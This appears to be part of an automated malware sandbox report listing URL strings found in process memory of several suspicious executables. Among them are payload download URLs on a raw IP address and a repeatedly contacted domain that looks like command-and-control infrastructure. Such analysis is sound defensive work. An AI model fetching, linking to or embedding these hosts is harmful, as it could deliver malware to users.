Source: rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1482809150/st22BJg.exe
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1482809150/st22BJg.exe1dac97d7aee7f
Source: rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1482809150/st22BJg.exem
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/2043702969/dx3hXS1.exe
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/2043702969/dx3hXS1.exeQ
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/2043702969/dx3hXS1.exeU
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/2043702969/dx3hXS1.exeb
Source: rapes.exe, 0000000B.00000003.2387974996.00000000013F0000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6003232782/EZs3CZC.exe
Source: rapes.exe, 0000000B.00000002.2476906113.000000000135F000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6142491850/s7MG2VL.exe
Source: rapes.exe, 0000000B.00000002.2476906113.000000000130B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6142491850/s7MG2VL.exe86)=C:
Source: rapes.exe, 0000000B.00000002.2476906113.000000000135F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/6142491850/s7MG2VL.exex
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7033027882/ZqkKpwG.exe
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/7033027882/ZqkKpwG.exeg
Source: rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/8061344923/eAzoDbY.exe
Source: rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/8061344923/eAzoDbY.exe5
Source: rapes.exe, 0000000B.00000003.2388099830.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/809453437/yo7qmvz.exe
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl0
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r4.crl0
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/SaWLYV2xvlI.crl0
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: powershell.exe, 0000002A.00000002.2445406706.000002036633A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 0000002A.00000002.2445406706.000002036633A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: s7MG2VL.exe, 0000000C.00000003.2089689153.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2006495167.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2059422413.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2005615609.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092842281.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2090492021.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ps.exe, 00000026.00000003.2183396696.0000000002D08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: ps.exe, 00000026.00000003.2183396696.0000000002D08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt0-
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r4.crt0
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/we1.crt0-
Source: powershell.exe, 00000028.00000002.2227566449.0000019E70DB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2404818559.000002035DCD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: yo7qmvz.exe, 00000023.00000002.2473226471.0000000000BDB000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/s/we1/WnI0%
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ps.exe, 00000026.00000003.2183396696.0000000002D08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000002A.00000002.2249861056.000002034DE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000028.00000002.2179176263.0000019E60F77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2249861056.000002034DE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000028.00000002.2179176263.0000019E60D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2249861056.000002034DC71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000028.00000002.2179176263.0000019E60F77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2249861056.000002034DE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000002A.00000002.2249861056.000002034DE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: s7MG2VL.exe, 0000000C.00000003.1945794739.0000000005DBA000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989600937.000000000386E000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2065951244.0000000003B85000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2201002970.000000000335F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?You
Source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed&gui=trueShowing
Source: powershell.exe, 00000028.00000002.2179176263.0000019E60D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2249861056.000002034DC71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: s7MG2VL.exe, 0000000C.00000003.1947396492.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1991246461.00000000010FC000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2068501230.00000000015AD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2205498760.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: s7MG2VL.exe, 0000000C.00000003.1894143915.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938230921.0000000003867000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003276985.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: s7MG2VL.exe, 0000000C.00000003.1894143915.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1938230921.0000000003867000.00000004.00000800.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2003276985.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2143407110.0000000003347000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016824573.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2015839462.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2017274565.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2015514582.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2067697997.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016203540.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2049616075.000000000105D000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016518122.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2018571591.00000000010A6000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2014284185.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000002.2473186229.00000000010BC000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2240957209.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2295309050.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2242364786.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2126477657.0000000000B33000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2268782865.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2268375123.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/$
Source: s7MG2VL.exe, 0000000C.00000003.1973668493.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1973410361.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1974078052.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/.
Source: s7MG2VL.exe, 0000000C.00000003.2027955361.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2005443595.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/Z
Source: s7MG2VL.exe, 0000000C.00000003.2089689153.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2028143185.00000000013F1000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2090607311.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2059422413.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2059512968.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1982341555.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092747962.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1981414449.00000000013F1000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2005702972.0000000001363000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2005615609.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092842281.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2090492021.0000000001384000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2015839462.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2019037916.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000002.2473186229.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989519285.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1964216082.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1988754105.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1963517727.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2019127027.000000000105D000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016518122.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS
Source: ZqkKpwG.exe, 00000011.00000003.1964216082.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1963517727.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1962963447.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1963789425.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1962826749.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS1
Source: yo7qmvz.exe, 00000023.00000003.2268782865.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS19
Source: s7MG2VL.exe, 0000000C.00000003.1945712484.0000000001404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS5/8A
Source: s7MG2VL.exe, 0000000C.00000003.1945344633.0000000001404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS5/8Aq
Source: ZqkKpwG.exe, 00000011.00000003.1989519285.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1988754105.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2014536331.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1989204713.00000000010EB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2014107276.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.1962826749.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS=
Source: yo7qmvz.exe, 00000023.00000003.2240957209.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2295309050.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2242364786.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2472127686.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2268782865.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2268375123.0000000000BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISI
Source: ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISN
Source: ZqkKpwG.exe, 00000011.00000003.2049616075.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISN;
Source: ZqkKpwG.exe, 00000011.00000003.2015839462.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2019037916.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016518122.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2014284185.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2017274565.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016203540.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2018571591.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2015514582.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2015041545.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2016824573.00000000010CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS_9
Source: yo7qmvz.exe, 00000023.00000003.2240957209.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2242364786.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISb
Source: s7MG2VL.exe, 0000000C.00000003.2005702972.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISbb
Source: ZqkKpwG.exe, 00000011.00000003.1962826749.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISl
Source: s7MG2VL.exe, 0000000C.00000003.2059422413.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1981414449.00000000013F1000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2174225421.0000000000BD5000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2199523738.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2174029581.0000000000BD4000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2295433501.0000000000BC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISs
Source: s7MG2VL.exe, 0000000C.00000003.1973668493.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1973410361.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1974078052.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/h
Source: yo7qmvz.exe, 00000023.00000003.2240957209.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2242364786.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/j
